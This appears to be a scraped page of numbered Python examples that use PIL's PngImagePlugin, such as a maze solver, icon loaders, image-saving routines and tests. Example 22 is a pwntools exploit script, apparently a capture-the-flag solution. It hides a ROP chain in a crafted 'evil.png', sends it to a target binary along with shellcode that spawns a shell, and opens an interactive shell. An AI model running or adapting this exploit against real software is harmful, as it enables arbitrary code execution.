                    sheet = wb.create_sheet()
                    sheet.append(titles)
                    for i in transposed_data:
                        sheet.append(i)
                    wb.save(fn + "/excel.xlsx")
        except:
            print("error in generating excel file")

        if "spss" in output:
            savFileName = fn + '/spss.sav'
            varNames = [i.replace(" ", "_") for i in titles]
            varTypes = dict()
            for t in varNames:
                varTypes[t] = 0
            with savReaderWriter.SavWriter(savFileName, varNames,
                                           varTypes) as writer:
                for i in range(self.dataPoints):
                    writer.writerow(transposed_data[i])

        return os.getcwd() + "\\" + fn.replace("/", "\\")
Ejemplo n.º 18
0
def level_24():
    class Node:
        def __init__(self,parent,x,y,h):
            self.parent=parent
            self.x,self.y=x,y
            self.hv = (x << 16) ^ y
            self.g,self.h=0,h
        def __repr__(self):
            return '(%d,%d)'%(self.x,self.y)
        def __eq__(self,other):
            return self.hv == other
        def __hash__(self):
            return self.hv

    class AStarTest:
        def __init__(self,map_max_x,map_max_y,map):
            self.openlist,self.closedlist=[],set()
            self.mapMaxX,self.mapMaxY=map_max_x,map_max_y
            print ('%d %d'%(self.mapMaxX,self.mapMaxY))
            self.map=map
        def inCloseList(self,x,y):
            """检查(x,y)是否在closedlist中"""
            return (x << 16) ^ y in self.closedlist
        def inOpenList(self,x,y):
            """检查(x,y)是否在openlist中"""
            for i,n in enumerate(self.openlist):
                if n.x==x and n.y==y:
                    return i
            return -1
        def showPath(self,l,showmark):
            """显示路径"""
            tm=[] # 用来保存从起点到终点的路径坐标列表
            for i in l:
                tm.append((i.x,i.y))
            if showmark: # 在新图中显示出路径来
                f=PngImagePlugin.PngImageFile(r'maze.png')
                my=f.copy()
                draw=ImageDraw.Draw(my)
                draw.point(tm,showmark)# (0,0,255,255))
                my.save(r'maze_showpath.png','png')

            # 将路径间隔着取像素的r值保存到zip文件中
            f=PngImagePlugin.PngImageFile(r'maze.png')
            fo=open(r'maze_1.zip','wb')
            data=[]
            for i in tm[1::2]: # 从第二个像素开始间隔着取
                r,dummy,dummy,dummy=f.getpixel(i)
                data.append(r)
            import array
            data = array.array("B", data).tostring()
            fo.write(data)
            fo.close()

        def SubNode(self,node,to_x,to_y):
            """ 返回节点node的有效子节点"""
            subList=[(node.x,node.y-1),\
                (node.x-1,node.y),\
                (node.x+1,node.y),\
                (node.x,node.y+1),]
            for x,y in subList:
                if self.map[y][x] !='#': # 坐标值有效
                    if not self.inCloseList(x,y): # 不在closedlist中
                        item= Node(node,x,y,math.sqrt((x-to_x)*(x-to_x)+(y-to_y)*(y-to_y))*1.2)
                        item.g=item.parent.g+1.0
                        yield item

        def getPath(self,from_x,from_y,to_x,to_y,show_mark=None):
            """获取两点间的路径
            from_coord 起点
            to_coord 终点
            show_mark 用来显示路径的颜色
            """
            print ("(%d,%d)->(%d,%d)"%(from_x,from_y,to_x,to_y))

            self.openlist.append(Node(None,from_x,from_y,0))
            while self.openlist: 
                # 重复如下的工作:
                # a) 寻找开启列表中F值最低的格子。我们称它为当前格。
                minf,minidx,curCoord=1000000,-1,None 
                # 假设当前最新f为1000000
                for i,n in enumerate(self.openlist):
                    if n.g+n.h<minf:
                        minf=n.g+n.h
                        curCoord=n
                        minidx=i
                # b) 把它切换到关闭列表。
                del self.openlist[minidx]
                self.closedlist.add(curCoord)

                # c) 对相邻的8格中的每一个
                for item in self.SubNode(curCoord,to_x,to_y):
                    # 如果它不在开启列表中,把它添加进去。把当前格作为这一格的父节点。
                    # 记录这一格的F,G,和H值。
                    i=self.inOpenList(item.x,item.y)
                    if i==-1:
                        self.openlist.append(item)
                        # 保存路径。从目标格开始,沿着每一格的父节点移动直到回到起始格。这就是你的路径。
                        if item.x==to_x and item.y==to_y:
                            print ("found %d,len(closedlist)=%d"%(item.g,len(self.closedlist)))
                            l=[item]
                            p=item.parent
                            while p:
                                l.append(p)
                                p=p.parent
                            l.reverse()
                            self.showPath(l,show_mark)
                            return True

                    # 如果它已经在开启列表中,用G值为参考检查新的路径是否更好。更低的G值
                    # 意味着更好的路径。如果是这样,就把这一格的父节点改成当前格,并且
                    # 重新计算这一格的G和F值。如果你保持你的开启列表按F值排序,改变之后
                    # 你可能需要重新对开启列表排序。
                    else:
                        if item.g<self.openlist[i].g:
                            self.openlist[i].parent=curCoord
                            self.openlist[i].g=item.g


            print ("no path found!")
            return False

    # 准备地图数据
    f=PngImagePlugin.PngImageFile(r'maze.png')
    # 将maze转为数组形式存入m
    m,line=[],[]
    for y in range(f.size[1]):
        for x in range(f.size[0]):
            if f.getpixel((x,y))==(255,255,255,255):
                line.append('#') # 白色为墙壁
            else:
                line.append('.') # 其他为通路
        m.append(''.join(line))
        del line[:]

    # 调用A*算法找路
    t=AStarTest(len(m[0]),len(m),m)
    t.getPath(639,0,1,640,(0,0,255,255))
Ejemplo n.º 19
0
def main():
    """CLI interface for style transfer."""
    global ARGS, RUN, STATS

    ARGS = parse_args(STATE)
    setup_exceptions()
    print_args()

    start_time = timer()
    now = datetime.now()
    RUN = '%02d%02d%02d_%02d%02d%02d' % \
        (now.year % 100, now.month, now.day, now.hour, now.minute, now.second)
    STATS = StatLogger()
    print_('Run %s started.' % RUN)

    if MKL_THREADS is not None:
        print_('MKL detected, %d threads maximum.' % MKL_THREADS)

    os.environ['GLOG_minloglevel'] = '2'
    if ARGS.caffe_path:
        sys.path.append(ARGS.caffe_path + '/python')

    if Path(ARGS.model).name in ('vgg16.prototxt', 'vgg16_avgpool.prototxt'):
        shapes = VGG16_SHAPES
    elif Path(ARGS.model).name in ('vgg19.prototxt', 'vgg19_avgpool.prototxt'):
        shapes = VGG19_SHAPES
    else:
        print_('Loading %s.' % ARGS.weights)
        resp_q = CTX.Queue()
        CTX.Process(target=init_model,
                    args=(resp_q, ARGS.caffe_path, ARGS.model, ARGS.weights,
                          ARGS.mean)).start()
        shapes = resp_q.get()

    print_('Initializing %s.' % ARGS.weights)
    model = CaffeModel(ARGS.model,
                       ARGS.weights,
                       ARGS.mean,
                       shapes=shapes,
                       placeholder=True)
    transfer = StyleTransfer(model)
    if ARGS.list_layers:
        print_('Layers:')
        for layer, shape in model.shapes.items():
            print_('% 25s %s' % (layer, shape))
        sys.exit(0)

    content_image = Image.open(ARGS.content_image).convert('RGB')
    style_images = []
    for image in ARGS.style_images:
        style_images.append(Image.open(image).convert('RGB'))
    initial_image, aux_image = None, None
    if ARGS.init_image:
        initial_image = Image.open(ARGS.init_image).convert('RGB')
    if ARGS.aux_image:
        aux_image = Image.open(ARGS.aux_image).convert('RGB')

    cli, cli_resp = None, None
    if ARGS.prompt:
        cli = prompt.Prompt(RUN, STATE)
        cli_resp = prompt.PromptResponder(cli.q, ARGS)

    server_address = ('', ARGS.port)
    url = 'http://127.0.0.1:%d/' % ARGS.port
    server = ProgressServer(server_address, ProgressHandler)
    server.transfer = transfer
    server.hidpi = ARGS.hidpi
    progress_args = {}
    if ARGS.display == 'browser' and 'no_browser' not in ARGS:
        progress_args['url'] = url
    steps = 0
    server.progress = Progress(transfer,
                               steps=steps,
                               save_every=ARGS.save_every,
                               cli=cli,
                               callback=cli_resp,
                               **progress_args)
    th = threading.Thread(target=server.serve_forever)
    th.daemon = True
    th.start()
    print_('\nWatch the progress at: %s\n' % url)

    np.random.seed(ARGS.seed)
    try:
        transfer.transfer_multiscale([content_image],
                                     style_images,
                                     initial_image,
                                     aux_image,
                                     callback=server.progress)
    except (EOFError, KeyboardInterrupt):
        print_()
    finally:
        if ARGS.prompt:
            cli.stop()

    STATS.dump()
    if transfer.current_output:
        output_image = ARGS.output_image
        if not output_image:
            output_image = RUN + '_out.png'
        print_('Saving output as %s.' % output_image)
        png_info = PngImagePlugin.PngInfo()
        png_info.add_itxt('Comment', get_image_comment())
        transfer.current_output.save(output_image, pnginfo=png_info)
    time_spent = timer() - start_time
    print_('Run %s ending after %dm %.3fs.' %
           (RUN, time_spent // 60, time_spent % 60))
Ejemplo n.º 20
0
class IconImporter(object):
    def __init__(self, feed, page_data=None, force=False):
        self.feed = feed
        self.force = force
        self.page_data = page_data
        self.feed_icon = MFeedIcon.get_feed(feed_id=self.feed.pk)

    def save(self):
        if not self.force and self.feed.favicon_not_found:
            # print 'Not found, skipping...'
            return
        if (not self.force and not self.feed.favicon_not_found
                and self.feed_icon.icon_url and self.feed.s3_icon):
            # print 'Found, but skipping...'
            return
        if 'facebook.com' in self.feed.feed_address:
            image, image_file, icon_url = self.fetch_facebook_image()
        else:
            image, image_file, icon_url = self.fetch_image_from_page_data()
        if not image:
            image, image_file, icon_url = self.fetch_image_from_path(
                force=self.force)

        if image:
            image = self.normalize_image(image)
            try:
                color = self.determine_dominant_color_in_image(image)
            except IndexError:
                return
            except MemoryError:
                return
            try:
                image_str = self.string_from_image(image)
            except TypeError:
                return

            if len(image_str) > 500000:
                image = None
            if (image and (self.force or self.feed_icon.data != image_str
                           or self.feed_icon.icon_url != icon_url
                           or self.feed_icon.not_found or
                           (settings.BACKED_BY_AWS.get('icons_on_s3')
                            and not self.feed.s3_icon))):
                logging.debug(
                    "   ---> [%-30s] ~SN~FBIcon difference:~FY color:%s (%s/%s) data:%s url:%s notfound:%s no-s3:%s"
                    % (self.feed.log_title[:30], self.feed_icon.color != color,
                       self.feed_icon.color, color, self.feed_icon.data !=
                       image_str, self.feed_icon.icon_url != icon_url,
                       self.feed_icon.not_found,
                       settings.BACKED_BY_AWS.get('icons_on_s3')
                       and not self.feed.s3_icon))
                self.feed_icon.data = image_str
                self.feed_icon.icon_url = icon_url
                self.feed_icon.color = color
                self.feed_icon.not_found = False
                self.feed_icon.save()
                if settings.BACKED_BY_AWS.get('icons_on_s3'):
                    self.save_to_s3(image_str)
            if self.feed.favicon_color != color:
                self.feed.favicon_color = color
                self.feed.favicon_not_found = False
                self.feed.save(
                    update_fields=['favicon_color', 'favicon_not_found'])

        if not image:
            self.feed_icon.not_found = True
            self.feed_icon.save()
            self.feed.favicon_not_found = True
            self.feed.save()

        return not self.feed.favicon_not_found

    def save_to_s3(self, image_str):
        expires = datetime.datetime.now() + datetime.timedelta(days=60)
        expires = expires.strftime("%a, %d %b %Y %H:%M:%S GMT")
        k = Key(settings.S3_CONN.get_bucket(settings.S3_ICONS_BUCKET_NAME))
        k.key = self.feed.s3_icons_key
        k.set_metadata('Content-Type', 'image/png')
        k.set_metadata('Expires', expires)
        k.set_contents_from_string(image_str.decode('base64'))
        k.set_acl('public-read')

        self.feed.s3_icon = True
        self.feed.save()

    def load_icon(self, image_file, index=None):
        '''
        DEPRECATED

        Load Windows ICO image.

        See http://en.wikipedia.org/w/index.php?oldid=264332061 for file format
        description.

        Cribbed and modified from http://djangosnippets.org/snippets/1287/
        '''
        try:
            image_file.seek(0)
            header = struct.unpack('<3H', image_file.read(6))
        except Exception, e:
            return

        # Check magic
        if header[:2] != (0, 1):
            return

        # Collect icon directories
        directories = []
        for i in xrange(header[2]):
            directory = list(struct.unpack('<4B2H2I', image_file.read(16)))
            for j in xrange(3):
                if not directory[j]:
                    directory[j] = 256

            directories.append(directory)

        if index is None:
            # Select best icon
            directory = max(directories, key=operator.itemgetter(slice(0, 3)))
        else:
            directory = directories[index]

        # Seek to the bitmap data
        image_file.seek(directory[7])

        prefix = image_file.read(16)
        image_file.seek(-16, 1)

        if PngImagePlugin._accept(prefix):
            # Windows Vista icon with PNG inside
            try:
                image = PngImagePlugin.PngImageFile(image_file)
            except IOError:
                return
        else:
            # Load XOR bitmap
            try:
                image = BmpImagePlugin.DibImageFile(image_file)
            except IOError:
                return
            if image.mode == 'RGBA':
                # Windows XP 32-bit color depth icon without AND bitmap
                pass
            else:
                # Patch up the bitmap height
                image.size = image.size[0], image.size[1] >> 1
                d, e, o, a = image.tile[0]
                image.tile[0] = d, (0, 0) + image.size, o, a

                # Calculate AND bitmap dimensions. See
                # http://en.wikipedia.org/w/index.php?oldid=264236948#Pixel_storage
                # for description
                offset = o + a[1] * image.size[1]
                stride = ((image.size[0] + 31) >> 5) << 2
                size = stride * image.size[1]

                # Load AND bitmap
                image_file.seek(offset)
                string = image_file.read(size)
                mask = Image.frombytes('1', image.size, string, 'raw',
                                       ('1;I', stride, -1))

                image = image.convert('RGBA')
                image.putalpha(mask)

        return image
Ejemplo n.º 21
0
def load_icon(_imgPath, index=None):
    if isinstance(_imgPath, basestring):
        file = open(_imgPath, 'rb')

    try:
        header = struct.unpack('<3H', file.read(6))
    except:
        raise IOError('Not an ICO file')

    # Check magic
    try:
        if header[:2] != (0, 1):
            raise IOError('Not an ICO file')
    except:
        return loadPNG(_imgPath)

    # Collect icon directories
    directories = []
    for i in xrange(header[2]):
        directory = list(struct.unpack('<4B2H2I', file.read(16)))
        for j in xrange(3):
            if not directory[j]:
                directory[j] = 256

        directories.append(directory)

    if index is None:
        # Select best icon
        directory = max(directories, key=operator.itemgetter(slice(0, 3)))
    else:
        directory = directories[index]

    # Seek to the bitmap data
    file.seek(directory[7])

    prefix = file.read(16)
    file.seek(-16, 1)

    if PngImagePlugin._accept(prefix):
        # Windows Vista icon with PNG inside
        image = PngImagePlugin.PngImageFile(file)
    else:
        # Load XOR bitmap
        image = BmpImagePlugin.DibImageFile(file)
        if image.mode == 'RGBA':
            # Windows XP 32-bit color depth icon without AND bitmap
            pass
        else:
            # Patch up the bitmap height
            image.size = image.size[0], image.size[1] >> 1
            d, e, o, a = image.tile[0]
            image.tile[0] = d, (0, 0) + image.size, o, a

            # Calculate AND bitmap dimensions. See
            offset = o + a[1] * image.size[1]
            stride = ((image.size[0] + 31) >> 5) << 2
            size = stride * image.size[1]

            # Load AND bitmap
            file.seek(offset)
            string = file.read(size)
            mask = Image.frombytes('1', image.size, string, 'raw',
                                   ('1;I', stride, -1))

            image = image.convert('RGBA')
            image.putalpha(mask)

    return image, image.size
Ejemplo n.º 22
0
syscall
""").ljust(0x10, '\x00')
shell = u64(x[:8])
shell8 = u64(x[8:])

payload = "\x00" * 0x1ff638 + flat(
    0x405c54, 0xa, 0x401ad8, 0x412000, 0x404985, 0x1000, 0x4123e5, 0x7,
    0x40a7c5, 0x403eeb, 0x412c36, 0x405c54, shell, 0x04084cc, 0, 0x403eeb,
    0x412c36 + 8, 0x405c54, shell8, 0x04084cc, 0, 0x405c54, 0x3c, 0x40a7c5)

print len(payload) < h * w * 4
payload = map(ord, payload.ljust(h * w * 4, '\x00'))

data = np.asarray(payload, dtype=np.uint8).reshape((h, w, 4))
img = Image.fromarray(data, 'RGBA')
info = PngImagePlugin.PngInfo()
info.add_text("TXT", "VALUE")
img.save('evil.png', pnginfo=info)

r = process(["./png2a"])
IMAGE = 'evil.png'

data = open(IMAGE).read()
r.send(p32(len(data)) + p32(4 * 53) + p32(0x9a9))
r.recvrepeat(2)
r.send(data)
r.recvrepeat(2)
r.send(p64(0x412c36))
r.recvrepeat(2)
r.send("\x90" * 0x30 + asm(shellcraft.sh()))
r.interactive()
Ejemplo n.º 23
0
    def createWidgets(self):
        # fm1
        self.fm1 = Frame(self, bg='black')
        self.titleLabel = Label(self.fm1,
                                text="testing system",
                                font=('微软雅黑', 64),
                                fg="white",
                                bg='black')
        self.titleLabel.pack()
        self.fm1.pack(side=TOP, expand=YES, fill='x', pady=20)

        # fm2
        self.fm2 = Frame(self, bg='black')
        self.fm2_left = Frame(self.fm2, bg='black')
        self.fm2_right = Frame(self.fm2, bg='black')
        self.fm2_left_top = Frame(self.fm2_left, bg='black')
        self.fm2_left_bottom = Frame(self.fm2_left, bg='black')

        self.predictEntry = Entry(self.fm2_left_top,
                                  font=('微软雅黑', 24),
                                  width='72',
                                  fg='#FF4081')
        self.predictButton = Button(self.fm2_left_top,
                                    text='predict sentence',
                                    bg='#FF4081',
                                    fg='white',
                                    font=('微软雅黑', 36),
                                    width='16',
                                    command=self.output_predict_sentence)
        self.predictButton.pack(side=LEFT)
        self.predictEntry.pack(side=LEFT, fill='y', padx=20)
        self.fm2_left_top.pack(side=TOP, fill='x')

        self.truthEntry = Entry(self.fm2_left_bottom,
                                font=('微软雅黑', 24),
                                width='72',
                                fg='#22C9C9')
        self.truthButton = Button(self.fm2_left_bottom,
                                  text='ground truth',
                                  bg='#22C9C9',
                                  fg='white',
                                  font=('微软雅黑', 36),
                                  width='16',
                                  command=self.output_ground_truth)
        self.truthButton.pack(side=LEFT)
        self.truthEntry.pack(side=LEFT, fill='y', padx=20)
        self.fm2_left_bottom.pack(side=TOP, pady=10, fill='x')

        self.fm2_left.pack(side=LEFT, padx=60, pady=20, expand=YES, fill='x')
        #        self.nextVideoImg= ImageTk.PhotoImage(file = '/home/hl/Desktop/lovelyqian/nextVideo.png')

        self.nextVideoButton = Button(self.fm2_right,
                                      image='',
                                      text='next video',
                                      bg='black',
                                      command=self.start_play_video_thread)
        self.nextVideoButton.pack(expand=YES, fill=BOTH)
        self.fm2_right.pack(side=RIGHT, padx=60)
        self.fm2.pack(side=TOP, expand=YES, fill="x")

        # fm3
        self.fm3 = Frame(self, bg='black')
        load = Image.open('/home/jun/Firefox_wallpaper.png')
        initIamge = PngImagePlugin.PngImageFile(
            file='/home/jun/Firefox_wallpaper.png')  #ImageTk.PhotoImage(load)
        self.panel = Label(self.fm3, image=initIamge)
        self.panel.image = initIamge
        self.panel.pack()
        self.fm3.pack(side=TOP, expand=YES, fill=BOTH, pady=10)
Ejemplo n.º 24
0
    def test_getchunks(self):
        im = hopper()

        chunks = PngImagePlugin.getchunks(im)
        self.assertEqual(len(chunks), 3)
Ejemplo n.º 25
0
def load_icon(_imgPath, index=None):
	if isinstance(_imgPath, basestring):
		file = open(_imgPath, 'rb')

	try:
		header = struct.unpack('<3H', file.read(6))
	except:
		raise IOError('Not an ICO file')

	# Check magic
	try:
		if header[:2] != (0, 1):
			raise IOError('Not an ICO file')
	except:
		return loadPNG(_imgPath)

	# Collect icon directories
	directories = []
	for i in xrange(header[2]):
		directory = list(struct.unpack('<4B2H2I', file.read(16)))
		for j in xrange(3):
			if not directory[j]:
				directory[j] = 256

		directories.append(directory)

	if index is None:
		# Select best icon
		directory = max(directories, key=operator.itemgetter(slice(0, 3)))
	else:
		directory = directories[index]

	# Seek to the bitmap data
	file.seek(directory[7])

	prefix = file.read(16)
	file.seek(-16, 1)

	if PngImagePlugin._accept(prefix):
		# Windows Vista icon with PNG inside
		image = PngImagePlugin.PngImageFile(file)
	else:
		# Load XOR bitmap
		image = BmpImagePlugin.DibImageFile(file)
		if image.mode == 'RGBA':
			# Windows XP 32-bit color depth icon without AND bitmap
			pass
		else:
			# Patch up the bitmap height
			image.size = image.size[0], image.size[1] >> 1
			d, e, o, a = image.tile[0]
			image.tile[0] = d, (0, 0) + image.size, o, a

			# Calculate AND bitmap dimensions. See
			offset = o + a[1] * image.size[1]
			stride = ((image.size[0] + 31) >> 5) << 2
			size = stride * image.size[1]

			# Load AND bitmap
			file.seek(offset)
			string = file.read(size)
			mask = Image.frombytes('1', image.size, string, 'raw',
									('1;I', stride, -1))

			image = image.convert('RGBA')
			image.putalpha(mask)

	return image, image.size
Ejemplo n.º 26
0
def save_image(session,
               path,
               format_name,
               width=None,
               height=None,
               supersample=3,
               pixel_size=None,
               transparent_background=False,
               quality=95):
    '''
    Save an image of the current graphics window contents.
    '''
    from chimerax.core.errors import UserError, LimitationError
    has_graphics = session.main_view.render is not None
    if not has_graphics:
        raise LimitationError(
            "Unable to save images because OpenGL rendering is not available")
    from os.path import dirname, exists
    dir = dirname(path)
    if dir and not exists(dir):
        raise UserError('Directory "%s" does not exist' % dir)

    if pixel_size is not None:
        if width is not None or height is not None:
            raise UserError(
                'Cannot specify width or height if pixel_size is given')
        v = session.main_view
        b = v.drawing_bounds()
        if b is None:
            raise UserError(
                'Cannot specify use pixel_size option when nothing is shown')
        psize = v.pixel_size(b.center())
        if psize > 0 and pixel_size > 0:
            f = psize / pixel_size
            w, h = v.window_size
            from math import ceil
            width, height = int(ceil(f * w)), int(ceil(f * h))
        else:
            raise UserError(
                'Pixel size option (%g) and screen pixel size (%g) must be positive'
                % (pixel_size, psize))

    from chimerax.core.session import standard_metadata
    std_metadata = standard_metadata()
    metadata = {}
    if format_name == 'PNG':
        metadata['optimize'] = True
        # if dpi is not None:
        #     metadata['dpi'] = (dpi, dpi)
        if session.main_view.render.opengl_context.pixel_scale() == 2:
            metadata['dpi'] = (144, 144)
        from PIL import PngImagePlugin
        pnginfo = PngImagePlugin.PngInfo()

        # tags are from <https://www.w3.org/TR/PNG/#11textinfo>

        def add_text(keyword, value):
            try:
                b = value.encode('latin-1')
            except UnicodeEncodeError:
                pnginfo.add_itxt(keyword, value)
            else:
                pnginfo.add_text(keyword, b)

        # add_text('Title', description)
        add_text('Creation Time', std_metadata['created'])
        add_text('Software', std_metadata['generator'])
        add_text('Author', std_metadata['creator'])
        add_text('Copy' 'right', std_metadata['dateCopyrighted'])
        metadata['pnginfo'] = pnginfo
    elif format_name == 'TIFF':
        # metadata['compression'] = 'lzw:2'
        # metadata['description'] = description
        metadata['software'] = std_metadata['generator']
        # TIFF dates are YYYY:MM:DD HH:MM:SS (local timezone)
        import datetime as dt
        metadata['date_time'] = dt.datetime.now().strftime('%Y:%m:%d %H:%M:%S')
        metadata['artist'] = std_metadata['creator']
        # TIFF copy right is ASCII, so no Unicode symbols
        cp = std_metadata['dateCopyrighted']
        if cp[0] == '\N{COPYRIGHT SIGN}':
            cp = 'Copy' 'right' + cp[1:]
        metadata['copy' 'right'] = cp
        # if units == 'pixels':
        #     dpi = None
        # elif units in ('points', 'inches'):
        #     metadata['resolution unit'] = 'inch'
        #     metadata['x resolution'] = dpi
        #     metadata['y resolution'] = dpi
        # elif units in ('millimeters', 'centimeters'):
        #     adjust = convert['centimeters'] / convert['inches']
        #     dpcm = dpi * adjust
        #     metadata['resolution unit'] = 'cm'
        #     metadata['x resolution'] = dpcm
        #     metadata['y resolution'] = dpcm
    elif format_name == 'JPEG':
        metadata['quality'] = quality
        # if dpi is not None:
        #     # PIL's jpeg_encoder requires integer dpi values
        #     metadata['dpi'] = (int(dpi), int(dpi))
        # TODO: create exif with metadata using piexif package?
        # metadata['exif'] = exif

    view = session.main_view
    view.render.make_current()
    max_size = view.render.max_framebuffer_size()
    if max_size and ((width is not None and width > max_size) or
                     (height is not None and height > max_size)):
        raise UserError(
            'Image size %d x %d too large, exceeds maximum OpenGL render buffer size %d'
            % (width, height, max_size))

    i = view.image(width,
                   height,
                   supersample=supersample,
                   transparent_background=transparent_background)
    if i is not None:
        try:
            i.save(path, format_name, **metadata)
        except PermissionError:
            from chimerax.core.errors import UserError
            raise UserError('Permission denied writing file %s' % path)
    else:
        msg = "Unable to save image"
        if width is not None:
            msg += ', width %d' % width
        if height is not None:
            msg += ', height %d' % height
        session.logger.warning(msg)
Ejemplo n.º 27
0
    def save_hdf5_data(self,
                       data_dict,
                       attributes=None,
                       filepath=None,
                       filelabel=None,
                       filename=None,
                       timestamp=None,
                       plotfig=None):
        """
        Function used to save the data in hdf5 format. Data is a dictionary of data and
        metadata. The dictionary key corresponds to the hdf5 file key, so it follows a POSIX-style hierarchy
        with /-separators.

        @param data_dict: A dictionary containing the hdf5 dataset names and the data. The data need to be lists or
                          numpy.ndarray
        @param attributes: A dictionary containning the dataset attibutes. Each attribute item needs to be a dictionary.
        @param filepath: An optional argument to give the name of the filepath. Default is module name.
        @param filelabel: An optional parameter is module name. Default is module name.
        @param filename: An optional parameter to set the file name. Default is timestamp + module name.
        @param timestamp: An optional parameter which sets the timestamp. Default is the date-time at saving.
        @param plotfig: a 2D-array which provides an optional saved figure.
        """

        start_time = time.time()
        if timestamp is None:
            timestamp = datetime.datetime.now()

        # try to trace back the functioncall to the class which was calling it.
        try:
            frm = inspect.stack()[1]
            # this will get the object, which called the save_data function.
            mod = inspect.getmodule(frm[0])
            # that will extract the name of the class.
            module_name = mod.__name__.split('.')[-1]
        except:
            # Sometimes it is not possible to get the object which called the save_data function
            # (such as when calling this from the console).
            module_name = 'UNSPECIFIED'

        # determine proper file path
        if filepath is None:
            filepath = self.get_path_for_module(module_name)
        elif not os.path.exists(filepath):
            os.makedirs(filepath)
            self.log.info(
                'Custom filepath does not exist. Created directory "{0}"'
                ''.format(filepath))

        # create filelabel if none has been passed
        if filelabel is None:
            filelabel = module_name
        if self.active_poi_name != '':
            filelabel = self.active_poi_name.replace(' ',
                                                     '_') + '_' + filelabel

        #TODO: change default file naming, the time stamp is useless since now it's
        # stored in the data attributes
        if filename is None:
            filename = timestamp.strftime('%Y%m%d-%H%M-%S' + '_' + filelabel +
                                          '.h5')

        with h5py.File(os.path.join(filepath, filename), 'w') as h5file:
            for dset_name, data in data_dict.items():
                if isinstance(data, (list, np.ndarray)):
                    dset = h5file.create_dataset(dset_name,
                                                 shape=data.shape,
                                                 dtype=data.dtype,
                                                 data=data)
                else:
                    self.log.info(
                        "The data you passed for {} are not an array, the corresponding dataset will not"
                        "be created.".format(dset_name))

                dset.attrs['timestamp'] = timestamp.strftime(
                    '%Y-%m-%d, %H:%M:%S')
                if (attributes is not None) and (dset_name in attributes):
                    if not isinstance(attributes, (dict, OrderedDict)):
                        self.log.info(
                            "The attributes need to be a dictionary, the saving of the attributes of {}"
                            "has been aborted".format(dset_name))
                    else:
                        for attr_name, attr in attributes.items():
                            dset.attrs[attr_name] = attr

        if plotfig is not None:
            # create Metadata
            metadata = dict()
            metadata['Title'] = 'Image produced by qudi: ' + module_name
            metadata['Author'] = 'qudi - Software Suite'
            metadata[
                'Subject'] = 'Find more information on: https://github.com/Ulm-IQO/qudi'
            metadata[
                'Keywords'] = 'Python 3, Qt, experiment control, automation, measurement, software, framework, modular'
            metadata['Producer'] = 'qudi - Software Suite'
            if timestamp is not None:
                metadata['CreationDate'] = timestamp
                metadata['ModDate'] = timestamp
            else:
                metadata['CreationDate'] = time
                metadata['ModDate'] = time

            if self.save_pdf:
                # determine the PDF-Filename
                fig_fname_vector = os.path.join(filepath,
                                                filename)[:-4] + '_fig.pdf'

                # Create the PdfPages object to which we will save the pages:
                # The with statement makes sure that the PdfPages object is closed properly at
                # the end of the block, even if an Exception occurs.
                with PdfPages(fig_fname_vector) as pdf:
                    pdf.savefig(plotfig, bbox_inches='tight', pad_inches=0.05)

                    # We can also set the file's metadata via the PdfPages object:
                    pdf_metadata = pdf.infodict()
                    for x in metadata:
                        pdf_metadata[x] = metadata[x]

            if self.save_png:
                # determine the PNG-Filename and save the plain PNG
                fig_fname_image = os.path.join(filepath,
                                               filename)[:-4] + '_fig.png'
                plotfig.savefig(fig_fname_image,
                                bbox_inches='tight',
                                pad_inches=0.05)

                # Use Pillow (an fork for PIL) to attach metadata to the PNG
                png_image = Image.open(fig_fname_image)
                png_metadata = PngImagePlugin.PngInfo()

                # PIL can only handle Strings, so let's convert our times
                metadata['CreationDate'] = metadata['CreationDate'].strftime(
                    '%Y%m%d-%H%M-%S')
                metadata['ModDate'] = metadata['ModDate'].strftime(
                    '%Y%m%d-%H%M-%S')

                for x in metadata:
                    # make sure every value of the metadata is a string
                    if not isinstance(metadata[x], str):
                        metadata[x] = str(metadata[x])

                    # add the metadata to the picture
                    png_metadata.add_text(x, metadata[x])

                # save the picture again, this time including the metadata
                png_image.save(fig_fname_image, "png", pnginfo=png_metadata)

            # close matplotlib figure
            plt.close(plotfig)
            self.log.debug(
                'Time needed to save data: {0:.2f}s'.format(time.time() -
                                                            start_time))
Ejemplo n.º 28
0
    def test_getchunks(self):
        im = hopper()

        chunks = PngImagePlugin.getchunks(im)
        assert len(chunks) == 3
def polish(filename, w, h, hash="", viewhash=""):
    print("  Polishing...")

    try:
        img = Image.open(filename)
        img = img.convert("RGBA")

        pixdata = img.load()

        # Read top left pixel color - not robust to zoomed in images
        # tlc = pixdata[0,0]

        # init clipping bounds
        x1 = img.size[0]
        x2 = 0
        y1 = img.size[1]
        y2 = 0

        # Set background to white and transparent

        for y in xrange(img.size[1]):
            solidx = 0
            solidy = 0
            for x in xrange(img.size[0]):
                if pixdata[x, y] == bkc:
                    pixdata[x, y] = (255, 255, 255, 0 if PolishTransparentBackground else 255)
                else:
                    if solidx == 0 and x < x1:
                        x1 = x
                    if solidy == 0 and y < y1:
                        y1 = y
                    solidx = x
                    solidy = y
            if solidx > x2:
                x2 = solidx
            if solidy > y2:
                y2 = solidy

        x2 += 2
        y2 += 2

        # downsample (half the res)
        img = img.resize((w, h), Image.ANTIALIAS)

        # crop
        if (x1 < x2 and y1 < y2 and PolishCrop):
            img = img.crop((x1/2,y1/2,x2/2,y2/2))

        # add hash to meta data
        meta = PngImagePlugin.PngInfo()

        # copy metadata into new object
        #for k,v in im.info.iteritems():
        #    if k in reserved: continue
        meta.add_text("csghash", hash, 0)
        meta.add_text("viewhash", viewhash, 0)

        # Save it
        img.save(filename, "PNG", pnginfo=meta)
        img.close()
    except:
        print("  Exception error", sys.exc_info()[0])
Ejemplo n.º 30
0
    def save_data(self,
                  data,
                  filepath=None,
                  parameters=None,
                  filename=None,
                  filelabel=None,
                  timestamp=None,
                  filetype='text',
                  fmt='%.15e',
                  delimiter='\t',
                  plotfig=None):
        """
        General save routine for data.

        @param dictionary data: Dictionary containing the data to be saved. The keys should be
                                strings containing the data header/description. The corresponding
                                items are one or more 1D arrays or one 2D array containing the data
                                (list or numpy.ndarray). Example:

                                    data = {'Frequency (MHz)': [1,2,4,5,6]}
                                    data = {'Frequency': [1, 2, 4], 'Counts': [234, 894, 743, 423]}
                                    data = {'Frequency (MHz),Counts':[[1,234], [2,894],...[30,504]]}

        @param string filepath: optional, the path to the directory, where the data will be saved.
                                If the specified path does not exist yet, the saving routine will
                                try to create it.
                                If no path is passed (default filepath=None) the saving routine will
                                create a directory by the name of the calling module inside the
                                daily data directory.
                                If no calling module can be inferred and/or the requested path can
                                not be created the data will be saved in a subfolder of the daily
                                data directory called UNSPECIFIED
